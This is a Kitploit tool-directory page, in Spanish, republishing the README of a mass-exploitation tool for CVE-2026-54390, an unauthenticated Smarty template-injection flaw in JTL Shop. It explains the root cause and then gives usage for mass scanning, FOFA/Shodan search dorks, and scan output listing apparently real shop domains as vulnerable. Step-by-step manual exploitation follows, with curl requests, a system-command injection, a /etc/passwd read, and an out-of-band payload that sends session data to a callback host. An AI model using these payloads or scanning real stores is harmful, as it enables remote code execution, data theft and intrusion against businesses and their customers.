Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-54390 — CVE-2026-54390 — JTL Shop Smarty SSTI RCE | Inyección de plantillas sin autenticación previa vía fetch('string:' . ) | 5.2.0-5.7.1 | Kitploit
Herramientas/GitHubGitHub/shinthink/cve-2026-54390
ReconocimientoAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubshinthink/cve-2026-54390

CVE-2026-54390

CVE-2026-54390 — JTL Shop Smarty SSTI RCE | Inyección de plantillas sin autenticación previa vía fetch('string:' . ) | 5.2.0-5.7.1

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-54390 — Explotación masiva de SSTI en Smarty de JTL Shop

Formulario de contacto sin autenticación → Asunto del correo → fetch('string:') → RCE


Resumen

CVE-2026-54390 es una inyección de plantillas en el lado del servidor (SSTI) crítica (CVSS 9.8) y sin autenticación en JTL Shop 5.2.0–5.7.1.

El método SmartyRenderer::renderTemplate() pasa las líneas de asunto del correo a $smarty->fetch('string:' . $subject), procesándolas como plantillas Smarty. Los campos del formulario de contacto llegan al asunto del correo mediante la resolución de #var# en parseSubject(), y luego fetch() las vuelve a evaluar.

Text::filterXSS() solo elimina las etiquetas HTML — { y } pasan sin filtrarse. Los modificadores Smarty registrados incluyen file_get_contents y unserialize.

Versiones afectadas

JTL ShopEstado
< 5.2.0No afectada
5.2.0 – 5.3.xVulnerable (robo de credenciales)
5.4.0 – 5.7.1Vulnerable (RCE completo)
5.5.4 / 5.6.2 / 5.7.2+Parcheada

Mecanismo de la vulnerabilidad

Causa raíz

root@kitploit:~
// includes/src/Mail/Renderer/SmartyRenderer.php line 63
$subject = $this->parseSubject($model->getSubject($languageID));
$template->setSubject($this->getSmarty()->fetch('string:' . $subject));
//                       ^^^^^^^^^^^^^^^^^^^^^
//                     Email subject rendered as Smarty template

Flujo del ataque

root@kitploit:~
1. User fills contact form → name/email/message → filterXSS()
2. filterXSS only strips HTML — {system()} passes through
3. Email subject template: "Neue Anfrage von #Kunde.vorname#"
4. parseSubject() resolves #Kunde.vorname# → {system('id')}
5. fetch('string:Neue Anfrage von {system(\'id\')}') → EXECUTES
6. Email sent with subject: "Neue Anfrage von uid=33(www-data)..."

Modificadores Smarty registrados

root@kitploit:~
// PluginCollection.php — available for RCE
'unserialize', 'file_get_contents', 'file_exists', 'class_exists'

Instalación

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-54390.git
cd CVE-2026-54390
pip install -r requirements.txt

Uso

root@kitploit:~
# Single target
python cve_2026_54390.py -t target.com

# Mass scan
python cve_2026_54390.py -f jtl-targets.txt -o vuln.txt

# SSTI probe via contact form
python cve_2026_54390.py -t target.com --exploit --debug

Argumentos

root@kitploit:~
  -t, --target      Single target (domain or IP)
  -f, --file        Target list, one per line
  -o, --output      Save vulnerable targets
  --threads         Workers (default: 20)
  --exploit         Submit SSTI probe via contact form
  --debug           Show every HTTP request
  -v, --verbose     Detailed output

Prueba de concepto

Detección

root@kitploit:~
$ python cve_2026_54390.py -t jtl-shop.de --debug
root@kitploit:~
  JTL Shop Smarty SSTI | CVE-2026-54390

  [jtl-shop.de] JTL Shop v5.7.0
  [jtl-shop.de] [+] JTL Shop v5.7.0
  [jtl-shop.de] contact form: /Kontakt | subjects:5

  Host       : jtl-shop.de
  JTL Shop   : YES v5.7.0
  Contact    : YES
  Form path  : /Kontakt
  Subjects   : 5 available

Escaneo masivo

root@kitploit:~
  [!] business.trustedshops.ch   1.6s  v5.5.2  form:/Kontakt
  [!] bmg-moebel.de              5.3s  v5.7.0  form:/Kontakt
  [100/5600] 1%  |  JTL:23  Vuln:12

Explotación manual

Paso 1 — Encontrar el formulario de contacto y el token

root@kitploit:~
curl -sk 'https://target.com/Kontakt' | grep -oP 'name="jtl_token"[^>]*value="\K[^"]+'

Paso 2 — Enviar la sonda SSTI

root@kitploit:~
curl -sk -X POST 'https://target.com/Kontakt' \
  -d 'kontakt=1' -d 'subject=1' \
  -d 'nachricht={7*7}' \
  -d 'vorname={7*7}' \
  -d 'nachname={7*7}' \
  -d '[email protected]'

Paso 3 — Leer archivos

root@kitploit:~
{{"/etc/passwd"|file_get_contents}}

Paso 4 — Exfiltración OOB

root@kitploit:~
{{"http://callback.com/?s="|file_get_contents|cat:$smarty.session|replace_delim:":"}}

FOFA / Shodan

root@kitploit:~
FOFA:   body="jtl" && body="kontakt"
Shodan: http.html:"jtl" http.html:"Kontakt"

Aviso legal

SOLO CON FINES EDUCATIVOS Y DE PRUEBAS AUTORIZADAS. Los autores no asumen ninguna responsabilidad por el mal uso.


Referencias


No afiliado con JTL-Software ni Sansec.

Descargar herramienta
Recurso
Enlace
Investigación de Sansecsansec.io/research/jtl-shop-ssti-rce
Aviso de IONIXionix.io/threat-center/cve-2026-54390
Foro de JTLforum.jtl-software.de
NVDCVE-2026-54390